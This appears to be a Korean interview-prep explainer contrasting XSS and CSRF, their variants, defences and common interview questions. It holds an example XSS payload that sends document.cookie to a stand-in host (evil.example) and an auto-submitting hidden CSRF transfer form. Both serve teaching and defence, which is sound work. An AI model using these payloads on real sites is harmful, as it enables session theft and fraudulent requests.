CSRF와 XSS (Cross Site Request Forgery, Cross Site Scripting)

한눈에 보기

XSS는 공격자의 스크립트를 피해자 브라우저에서 실행시키는 공격이고, CSRF는 로그인된 브라우저를 속여 피해자 명의의 요청을 보내는 공격이다. 두 공격이 악용하는 신뢰 관계의 차이와 방어 수단을 정리한다.

최종 업데이트 2026.09.17

XSS(Cross Site Scripting)는 공격자가 만든 스크립트를 피해자의 브라우저에서 실행시키는 공격이고, CSRF(Cross Site Request Forgery)는 로그인된 피해자의 브라우저를 속여 피해자 명의의 요청을 서버로 보내게 만드는 공격이다. XSS는 브라우저가 사이트를 신뢰한다는 점을, CSRF는 서버가 브라우저의 쿠키를 신뢰한다는 점을 악용한다는 데서 근본적인 차이가 있다. 두 공격 모두 웹 보안 면접의 단골 주제이며, 방어 수단도 서로 다르다.

XSS의 원리와 종류

XSS는 사용자 입력이 적절한 처리 없이 페이지에 삽입될 때 발생한다. 예를 들어 댓글에 <script>fetch('https://evil.example/?c='+document.cookie)</script> 같은 내용을 남겼는데 서비스가 이를 그대로 HTML에 넣어 렌더링하면, 그 댓글을 보는 모든 사용자의 브라우저에서 스크립트가 실행된다. 실행된 스크립트는 쿠키나 저장소의 토큰을 훔치고, 사용자인 척 요청을 보내고, 화면을 위조해 비밀번호를 가로챌 수 있다. 종류는 세 가지로 나눈다. 저장형(Stored) XSS는 악성 입력이 데이터베이스에 저장되어 여러 피해자에게 반복 노출되는 형태다. 반사형(Reflected) XSS는 URL 매개변수에 담긴 스크립트가 응답 페이지에 즉시 되비쳐 실행되는 형태로, 악성 링크를 클릭하게 유도해 성립한다. DOM 기반(DOM-based) XSS는 서버 응답과 무관하게 클라이언트 스크립트가 innerHTML 등으로 신뢰할 수 없는 값을 DOM에 넣을 때 발생한다.

XSS 방어

핵심 원칙은 출력 시점의 이스케이프(Escape)다. 사용자 입력을 HTML에 넣을 때 <를 &lt;로 바꾸는 식으로 문자 그대로 표시되게 하면 스크립트로 해석되지 않는다. 리액트(React)나 뷰(Vue) 같은 최신 프레임워크는 문자열 바인딩을 기본으로 이스케이프하지만, dangerouslySetInnerHTML이나 v-html처럼 이를 우회하는 기능을 쓰는 순간 방어가 사라지므로 이런 곳에는 검증된 정화(Sanitization) 라이브러리를 거친 값만 넣어야 한다. 추가 방어선으로 CSP(Content Security Policy) 헤더를 두면 허용하지 않은 출처의 스크립트나 인라인 스크립트의 실행을 브라우저가 차단한다. 또 쿠키에 HttpOnly 속성을 주면 스크립트가 쿠키를 읽지 못해, XSS가 성공하더라도 세션 탈취 피해를 줄일 수 있다.

CSRF의 원리

브라우저는 요청이 어느 페이지에서 시작됐는지와 무관하게, 대상 도메인의 쿠키를 자동으로 첨부하는 성질이 있다. CSRF는 이 성질을 악용한다. 은행에 로그인된 피해자가 공격자의 페이지를 방문했다고 하자. 그 페이지에 다음과 같은 폼이 숨어 있고 자동 제출된다면, 요청에는 피해자의 세션 쿠키가 붙어 서버는 정상 요청으로 처리한다.

<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="1000000">
</form>
<script>document.forms[0].submit()</script>

공격자는 응답을 읽을 수 없지만 목적은 응답이 아니라 송금, 비밀번호 변경 같은 상태 변경 그 자체다. 그래서 CSRF 방어의 전제는 GET 요청이 상태를 바꾸지 않도록 메서드 규약을 지키는 것이다.

CSRF 방어

전통적 방어는 CSRF 토큰이다. 서버가 폼이나 페이지에 예측 불가능한 토큰을 심어 두고, 상태 변경 요청에 그 토큰이 함께 와야만 처리한다. 공격자는 다른 출처에서 이 토큰 값을 읽을 수 없으므로 위조 요청이 실패한다. 최신 표준에서는 쿠키의 SameSite 속성이 강력한 기본 방어가 된다. Lax로 설정하면 다른 사이트에서 시작된 POST 요청 등에 쿠키가 첨부되지 않고, 최신 브라우저는 미지정 시 Lax를 기본 적용한다. 서버가 Origin이나 Referer 헤더로 요청 출처를 검증하는 방법, 재인증이나 추가 확인을 요구하는 방법도 병행된다. 참고로 세션 쿠키 대신 Authorization 헤더로 토큰을 직접 실어 보내는 구조는 브라우저가 자동 첨부하는 것이 없으므로 CSRF에 원천적으로 강하다.

두 공격 비교

구분XSSCSRF
악용하는 신뢰브라우저가 사이트를 신뢰서버가 브라우저의 쿠키를 신뢰
필요 조건스크립트 삽입 지점피해자의 로그인 상태
공격자가 할 수 있는 일피해자 브라우저에서 임의 스크립트 실행미리 정해진 요청의 전송
핵심 방어출력 이스케이프, CSP, HttpOnlyCSRF 토큰, SameSite, 출처 검증
둘의 관계성공 시 CSRF 토큰까지 읽어낼 수 있다XSS가 성공하면 방어가 무력화된다

면접에서 이렇게 물어본다

  • XSS와 CSRF의 차이를 각 공격이 악용하는 신뢰 관계로 설명해 보라.
  • 저장형, 반사형, DOM 기반 XSS를 예를 들어 구분해 보라.
  • CSRF 토큰이 공격을 막는 원리와, SameSite 쿠키와의 관계를 설명해 보라.
  • HttpOnly와 CSP는 각각 어떤 단계에서 피해를 줄이는가.
  • JWT를 Authorization 헤더로 보내는 구조는 왜 CSRF에 강한지 말해 보라.
웹 문서 전체 보기

이 개념, 내 코드에서는 어떻게 물어볼까요

데브핏(DevFit)에 채용공고 URL을 붙여 넣고 레포지토리를 연결하면, 내가 쓴 커밋에서 예상 질문과 어필 포인트를 만듭니다. 하루 10회까지 무료입니다. 합불 판정이나 지원자 랭킹은 만들지 않고, 최종 판단은 사람이 합니다.

공고 넣고 시작하기